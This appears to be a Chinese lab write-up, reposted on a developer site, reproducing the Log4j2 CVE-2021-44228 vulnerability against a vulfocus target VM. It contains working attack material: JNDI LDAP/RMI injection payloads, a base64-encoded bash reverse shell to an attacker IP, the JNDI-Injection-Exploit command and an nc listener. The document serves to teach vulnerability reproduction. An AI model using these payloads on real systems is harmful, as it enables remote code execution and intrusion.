概述
Log4j2是对log4j修改后的java日志框架,漏洞影响版本2.0-beta9到2.15.0。
用的是log4j还是log4j2区分:
1>.Log4j2分为2个jar包,一个是接口log4j-api-${版本号}.jar,一个是具体实现log4j-core-${版本号}.jar,而log4j j只有一个jar包log4j-${版本号}.jar。
2>.Log4j2的package名称前缀为org.apache.logging.log4j。Log4j的package名称前缀为org.apache.log4j
Jndi lookup根据传入的关键字查找支持的协议和服务,将payload一起打印到日志,jndi识别到ldap或rmi这些支持的协议后从服务器加载恶意代码,造成了代码执行漏洞。
利用vulfocus靶场,界面:
测试url:http://192.168.221.129:13167/hello?payload=111
1.检测漏洞是否存在:dnslog平台点get sub,得到一个域名,拿他构造payload:
${jndi:ldap://2h9bw9.dnslog.cn},url编码后传入参数
http://192.168.221.129:13167/hello?payload=%24%7Bjndi%3Aldap%3A%2F%2F2h9bw9.dnslog.cn%7D 执行后,刷新dnglog 得到记录,证明漏洞存在
Kali: 192.168.221.128
Centos7: 192.168.221.129
2.构造payload:bash -i >& /dev/tcp/192.168.221.128/6969 0>&1 ,ip是kali的,将此命令base64编码,得到 YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyMS4xMjgvNjk2OSAwPiYx
3.下载利用工具 GitHub - bkfish/Apache-Log4j-Learning: Apache-Log4j漏洞复现笔记,放到kali,需要jdk 1.8
Kali执行命令:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyMS4xMjgvNjk2OSAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.221.128
随意选择生成的一个rmi和ldap链接,构造payload:
${jndi: rmi://192.168.221.128:1099/xqtoti} ,将此payload进行url编码并带入漏洞url参数中,http://192.168.221.129:13167/hello?payload=%24%7Bjndi%3Armi%3A%2F%2F192.168.221.128%3A1099%2Fxqtoti%7D
3.反弹shell
Kali开启监听:nc -lvvp 6969 (此端口要与第一步base64编码中的端口一致)
浏览器回车访问上步url编码的链接:
http://192.168.221.129:13167/hello?payload=%24%7Bjndi%3Armi%3A%2F%2F192.168.221.128%
3A1099%2Fxqtoti%7D
此时kali中观察到反弹shell成功。并执行 ls /tmp 得到flag
最后
以上就是淡然花生为你收集整理的log4j2 CVE-2021-44228漏洞复现的全部内容,希望文章能够帮你解决log4j2 CVE-2021-44228漏洞复现所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复